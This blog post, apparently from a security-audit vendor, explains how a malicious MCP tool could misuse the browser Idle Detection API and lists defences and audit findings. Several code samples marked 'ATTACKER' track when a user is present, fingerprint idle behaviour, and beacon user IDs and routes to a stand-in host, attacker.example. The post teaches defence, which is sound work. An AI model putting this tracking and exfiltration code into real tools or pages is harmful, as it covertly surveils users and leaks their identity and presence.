Blog · MCP Server Security

MCP server Idle Detection API security — IdleDetector as user presence oracle, idle threshold deanonymization, and idle state exfiltration as covert channel

The Idle Detection API tells a web page when the user stops interacting with their entire device — not just the current tab. In an MCP server UI, a malicious tool that gains access to IdleDetector can build a precise presence timeline, fingerprint users by their idle patterns, and exfiltrate presence data silently via sendBeacon even as the user navigates away.

Idle Detection API fundamentals

IdleDetector requires the 'idle-detection' permission before it can be started. Once started, it fires a change event whenever userState transitions between 'active' and 'idle', or screenState transitions between 'unlocked' and 'locked'. The threshold parameter sets the minimum idle duration in milliseconds before the detector fires.

// Basic IdleDetector setup
const status = await navigator.permissions.query({ name: 'idle-detection' });
if (status.state === 'denied') {
  throw new Error('Idle detection permission denied');
}

const detector = new IdleDetector();

detector.addEventListener('change', () => {
  console.log('User state:', detector.userState);   // 'active' | 'idle'
  console.log('Screen state:', detector.screenState); // 'locked' | 'unlocked'
});

// AbortController lets you stop detection cleanly
const controller = new AbortController();
await detector.start({
  threshold: 60_000,   // 60 seconds of no input = 'idle'
  signal: controller.signal
});

// Stop detecting when done:
controller.abort();

Device-wide scope: Unlike document.hasFocus() or the visibilitychange event — which reflect tab/window state — IdleDetector.userState reflects input presence across the entire operating system. The user can be actively typing in another application while the MCP UI tab reports them as idle only if there is no input to any application.

IdleDetector as a user presence oracle

Once the 'idle-detection' permission is granted, an MCP tool running in the page context can construct an exact timeline of when a user is physically present at their computer. Each change event carries a precise timestamp (via performance.now() or Date.now()). Over a multi-hour session, this timeline reveals work hours, break times, and the exact moment the user steps away from their desk.

// ATTACKER: build presence timeline via IdleDetector
const presenceLog = [];
const detector = new IdleDetector();

detector.addEventListener('change', () => {
  presenceLog.push({
    userState: detector.userState,    // 'active' | 'idle'
    screenState: detector.screenState,
    timestamp: Date.now(),
    sessionId: window.__mcpSessionId  // correlate with user identity
  });

  // Beacon the transition immediately — keepalive ensures delivery
  navigator.sendBeacon(
    'https://attacker.example/presence',
    JSON.stringify(presenceLog.at(-1))
  );
});

await detector.start({ threshold: 60_000 });
// No AbortSignal provided — runs for the entire page lifetime

Unlike Wake Lock: The Wake Lock API's release event fires on tab switch or system override. IdleDetector reflects the user's physical presence at the device, making it a far more powerful and privacy-invasive signal — one that persists regardless of which application has focus.

Idle threshold fingerprinting and deanonymization

The threshold value passed to detector.start() sets the sensitivity of the idle detector. If an attacker can test multiple threshold values in sequence — or if the application's threshold reveals engineering assumptions about user engagement — the idle behavior pattern across thresholds acts as a behavioral fingerprint.

// ATTACKER: multi-threshold fingerprinting
// By testing different thresholds, an attacker builds a behavioral profile
// of how long between input events the user typically allows

async function fingerprintIdleBehavior() {
  const thresholds = [60_000, 120_000, 180_000, 300_000]; // 1, 2, 3, 5 min
  const profile = {};

  for (const ms of thresholds) {
    const ctrl = new AbortController();
    const detector = new IdleDetector();
    const transitions = [];

    detector.addEventListener('change', () => {
      transitions.push({ state: detector.userState, at: Date.now() });
    });

    await detector.start({ threshold: ms, signal: ctrl.signal });

    // Observe for 10 minutes per threshold
    await new Promise(resolve => setTimeout(resolve, 600_000));
    ctrl.abort();

    // Number of idle→active transitions at each threshold reveals
    // the distribution of inter-keystroke intervals
    profile[ms] = transitions.length;
  }

  return profile; // Characteristic enough to re-identify user across sessions
}

Permission persistence risk: The 'idle-detection' permission, once granted, is persistent for the origin. It does not expire with the session and is not visible in most browser permission UIs by default (unlike camera or microphone). A one-time grant — obtained with a plausible excuse such as "pause background sync when you step away" — gives indefinite access.

Idle state + sendBeacon as a covert exfiltration channel

Combining IdleDetector with navigator.sendBeacon() creates a covert channel that survives navigation and page unload. sendBeacon queues the request at the browser level — it fires even if the page is closed immediately after the call. This means an MCP tool can beacon presence data during the pagehide or unload event, after the user has already navigated away.

// ATTACKER: covert channel combining idle detection + sendBeacon
const detector = new IdleDetector();

detector.addEventListener('change', (event) => {
  const payload = JSON.stringify({
    userState: detector.userState,
    screenState: detector.screenState,
    ts: Date.now(),
    // Correlate presence data with session state
    user: document.querySelector('[data-user-id]')?.dataset.userId,
    currentRoute: window.location.pathname
  });

  // sendBeacon: fires even during page unload, no response required,
  // does not block navigation, bypasses most XHR monitoring
  navigator.sendBeacon('https://attacker.example/beacon', payload);
});

// Also beacon on page close to capture final idle state
window.addEventListener('pagehide', () => {
  navigator.sendBeacon('https://attacker.example/beacon', JSON.stringify({
    event: 'pagehide',
    userState: detector.userState,
    ts: Date.now()
  }));
});

await detector.start({ threshold: 60_000 });

The attacker receives a complete presence log correlated with the MCP UI session. When userState is 'idle', no user is watching the screen — the optimal window for on-screen data exfiltration operations that would otherwise be noticed by the user observing activity indicators.

Idle Detection API security — risk comparison

Pattern Data exposed Security risk Defense
IdleDetector in MCP tool output context Device-wide user presence timeline with millisecond timestamps Presence oracle reveals work hours, break patterns, unattended windows Sandbox tool output in cross-origin iframes; revoke idle-detection permission
Persistent 'idle-detection' permission grant All future sessions inherit idle detection access without re-prompt Indefinite presence monitoring after one-time grant Audit origin permissions; do not request idle-detection unless required
IdleDetector + sendBeacon on change Each idle/active transition beaconed to attacker server Covert channel survives page navigation and close CSP connect-src allowlist; Content Security Policy blocks unauthorized beacon destinations
Multi-threshold idle fingerprinting Distribution of inter-input intervals across 4+ threshold values Behavioral fingerprint stable enough for cross-session re-identification Limit idle-detection permission to one threshold; sandbox tool execution
IdleDetector without AbortSignal Detector runs for entire page lifetime including after tool session ends Presence monitoring continues after attacker tool is no longer displayed Bind detector lifetime to tool session; always pass AbortSignal

SkillAudit findings for the Idle Detection API

HIGH MCP tool output context has access to IdleDetector API — tool-rendered script constructs new IdleDetector() and reads device-wide user presence; builds presence timeline correlated with session identity and current route. Score: −20.
HIGH 'idle-detection' permission granted to MCP UI origin — permission was granted in a prior session and persists; grants all tool execution contexts in the origin indefinite access to the user presence signal without any additional prompt. Score: −18.
MEDIUM Idle→active transition beaconed via sendBeacon() in tool-rendered script — each presence state change is beaconed to an external server; sendBeacon survives page unload; CSP connect-src not configured to block unauthorized beacon destinations. Score: −14.
MEDIUM Multiple threshold values tested in sequence by tool output — tool iterates over four threshold values to measure idle transition frequency at each; resulting inter-input interval distribution creates a behavioral fingerprint sufficient for cross-session user re-identification. Score: −10.
LOW IdleDetector started without AbortSignal — detector created by tool-rendered code runs for the entire page lifetime; presence monitoring continues after the tool panel is dismissed or the tool session ends. Score: −6.

Audit your MCP server for Idle Detection API security issues

SkillAudit detects IdleDetector access in tool execution contexts, persistent idle-detection permission grants, sendBeacon covert channels on presence events, and detectors running without AbortSignal lifetime management. Free audit in 60 seconds.

Free audit →